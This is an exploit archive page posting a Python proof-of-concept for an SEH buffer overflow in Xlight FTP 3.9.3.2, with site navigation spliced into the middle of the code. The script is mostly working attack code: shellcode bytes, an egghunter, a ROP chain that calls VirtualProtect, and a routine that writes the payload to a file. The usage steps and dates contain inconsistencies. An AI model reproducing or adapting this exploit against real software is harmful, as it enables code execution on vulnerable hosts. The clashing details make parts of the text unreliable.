Xlight FTP 3.9.3.2 Buffer Overflow

Authored by Hejap Zairy

Posted Mar 21, 2022

Xlight FTP version 3.9.3.2 SEH buffer overflow exploit with egghunter and ROP.

tags | exploit, overflow

SHA-256 | 8a25a3e8400b103e1968bb06bba284c8aee75861e8f8d35933431637c668ae69 **Download** | **Favorite** | **View**

Related Files

Change Mirror Download

```
# Exploit Title: Xlight FTP v3.9.3.2 - Buffer Overflow (SEH Egghunter + ROP)
# Exploit Author: Hejap Zairy
# Date: 13.07.2022
# Software Link:   http://www.xlightftpd.com/download/setup.exe
# Tested Version: v3.9.3.2(2022-1-5)
# Tested on: Windows 10 64bit

# 1.- Run python code : 0day-Hejap_Zairy.py
# 2.- Open 0day_Hejap.txt and copy All content to Clipboard
# 3.- Open Audio Conversion Wizard and press Enter Code
# 5.- Click 'Server ip ' -> 'General' -> 'Advanced' -> 'Excute a program after user logged in ' -> 'Setup'
# 6.- Crashed


# Author  Code By Hejap Zairy
#!/usr/bin/env python
# Auther Hejap Zairy
#!/usr/bin/env python
import struct


##================================================================================
##  2022-03-12 16:54:06
##================================================================================
##--------------------------------------------------------------------------------------------------------------------------------------
-----------------------------
## Module info :
##--------------------------------------------------------------------------------------------------------------------------------------
-----------------------------
## Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename &
Path
##--------------------------------------------------------------------------------------------------------------------------------------
-----------------------------
## 0x76aa0000 | 0x76ae4000 | 0x00044000 | True   | True    | True  |  False   | True   | 10.0.17763.1
[SHLWAPI.dll] (C:\Windows\System32\SHLWAPI.dll)
## 0x76970000 | 0x76a93000 | 0x00123000 | True   | True    | True  |  False   | True   | 10.0.17763.1490
[ucrtbase.dll] (C:\Windows\System32\ucrtbase.dll)
## 0x766a0000 | 0x766bc000 | 0x0001c000 | True   | True    | True  |  False   | True   | 10.0.17763.1075
[profapi.dll] (C:\Windows\System32\profapi.dll)
## 0x76340000 | 0x763c0000 | 0x00080000 | True   | True    | True  |  False   | True   | 10.0.17763.1
[msvcp_win.dll] (C:\Windows\System32\msvcp_win.dll)
## 0x75680000 | 0x757ea000 | 0x0016a000 | True   | True    | True  |  False   | True   | 10.0.17763.1879
[gdi32full.dll] (C:\Windows\System32\gdi32full.dll)
## 0x75a60000 | 0x75bfe000 | 0x0019e000 | True   | True    | True  |  False   | True   | 10.0.17763.1
[CRYPT32.dll] (C:\Windows\System32\CRYPT32.dll)
## 0x74ff0000 | 0x74fff000 | 0x0000f000 | True   | True    | True  |  False   | True   | 10.0.17763.1
[kernel.appcore.dll] (C:\Windows\System32\kernel.appcore.dll)
## 0x00400000 | 0x006d5000 | 0x002d5000 | False  | False   | False |  False   | False  | 3.9.3.2 [xlight.exe]
(C:\Users\Tarnished\Desktop\Xlight\xlight.exe)
## 0x74870000 | 0x74909000 | 0x00099000 | True   | True    | True  |  False   | True   | 10.0.17763.1075
[ODBC32.dll] (C:\Windows\SYSTEM32\ODBC32.dll)
## 0x74b20000 | 0x74bbc000 | 0x0009c000 | True   | True    | True  |  False   | True   | 10.0.17763.1
[apphelp.dll] (C:\Windows\SYSTEM32\apphelp.dll)
## 0x76280000 | 0x76297000 | 0x00017000 | True   | True    | True  |  False   | True   | 10.0.17763.1
[win32u.dll] (C:\Windows\System32\win32u.dll)
## 0x75c50000 | 0x761a6000 | 0x00556000 | True   | True    | True  |  False   | True   | 10.0.17763.1911
[SHELL32.dll] (C:\Windows\System32\SHELL32.dll)


##0x006d4270 : kernel32.loadlibrarya | 0x76ce2280 | startnull,asciiprint,ascii,alphanum {PAGE_READWRITE}
[xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2
(C:\Users\Tarnished\Desktop\Xlight\xlight.exe)
##0x006d4258 : comdlg32.getopenfilenamea | 0x77226240 | startnull,asciiprint,ascii,alphanum {PAGE_READWRITE}
[xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2
(C:\Users\Tarnished\Desktop\Xlight\xlight.exe)
##0x006d427c : kernel32.virtualprotect | 0x76ce0c10 | startnull,asciiprint,ascii {PAGE_READWRITE} [xlight.exe]
ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2 (C:\Users\Tarnished\Desktop\Xlight\xlight.exe)
##0x006d4278 : kernel32.getprocaddress | 0x76ce05a0 | startnull,asciiprint,ascii,alphanum {PAGE_READWRITE}
[xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2
(C:\Users\Tarnished\Desktop\Xlight\xlight.exe)
# RopFunc syscall  null
badchars = [0x00,0x0a,0x0d,0x3a,0xff]

buf =  b""
buf += b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"
buf += b"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
```


File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files

Ubuntu 52 files

Gentoo 44 files

Debian 27 files

Apple 25 files

Google Security Research 14 files

malvuln 10 files

nu11secur1ty 6 files

mjurczyk 4 files

George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

```
buf += b"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
buf += b"\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"
buf += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"
buf += b"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"
buf += b"\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"
buf += b"\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
buf += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"
buf += b"\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"
buf += b"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\xef"
buf += b"\xce\xe0\x60\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89"
buf += b"\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68"
buf += b"\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
buf += b"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
buf += b"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68"
buf += b"\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c"
buf += b"\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x61\x69\x72"
buf += b"\x79\x68\x61\x70\x20\x5a\x68\x20\x48\x65\x6a\x68\x30"
buf += b"\x64\x61\x79\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2"
buf += b"\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"


def Hejap_rop_chain():

    Hejap_gadgets = [
      0x75c4f468,  # POP EBX # RETN [windows.storage.dll] ** REBASED ** ASLR
      0x7731c2a0,  # ptr to &VirtualProtect() [IAT CRYPT32.dll] ** REBASED ** ASLR
      0x75deb176,  # MOV ESI,DWORD PTR DS:[EBX] # RETN [windows.storage.dll] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_ebp:---]
      0x7545eebb,  # POP EBP # RETN [SHLWAPI.dll] ** REBASED ** ASLR
      0x75ff2bdb,  # & call esp [msvcp_win.dll] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_ebx:---]
      0x755d53b2,  # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
      0xffffffdff,  # Value to negate, will become 0x00000201
      0x74d241d7,  # NEG EAX # RETN [USER32.dll] ** REBASED ** ASLR
      0x75e72ff1,  # XCHG EAX,EBX # RETN [windows.storage.dll] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_edx:---]
      0x765a2dad,  # POP EAX # RETN [bcryptPrimitives.dll] ** REBASED ** ASLR
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x75297b65,  # NEG EAX # RETN [gdi32full.dll] ** REBASED ** ASLR
      0x76a3b05a,  # XCHG EAX,EDX # RETN [SHELL32.dll] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_ecx:---]
      0x72bb29ef,  # POP ECX # RETN [UXTHEME.DLL] ** REBASED ** ASLR
      0x7774f16b,  # &Writable location [ntdll.dll] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_edi:---]
      0x77275d3d,  # POP EDI # RETN [CRYPT32.dll] ** REBASED ** ASLR
      0x75849686,  # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
      #[---INFO:gadgets_to_set_eax:---]
      0x72bf2465,  # POP EAX # RETN [UXTHEME.DLL] ** REBASED ** ASLR
      0x90909090,  # nop
      #[---INFO:pushad:---]
      0x76a37959,  # PUSHAD # RETN [SHELL32.dll] ** REBASED ** ASLR
    ]
    return ''.join(struct.pack('<I', _) for _ in Hejap_gadgets)

egg = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egg+="\xef\xb8\x68\x30\x30\x70\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
rop_chain = Hejap_rop_chain()
offset = 452
nseh = "\x90" * 4
junk = "A" * (offset - len(nseh))
stackpivot = struct.pack('<I', 0x8e648b26 )  # POP ESP # POP EBP # RETN    ** [xlight.exe
#seh = struct.pack('<I', 0x0019ccb8 ) null

buffer = junk + nseh  +  stackpivot + rop_chain  +  "\x90" * 5 +  egg   + 'h00ph00p' + buf + "\x90" * (1000 -
len(egg)-len(stackpivot))
f = open("0day_hejap.txt", "w")
f.write(buffer)
f.close()


# Proof and Exploit:
https://i.imgur.com/jMURHQF.png
https://i.imgur.com/aw6hZo2.png
#Video
https://streamable.com/gmqz5x
```


Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed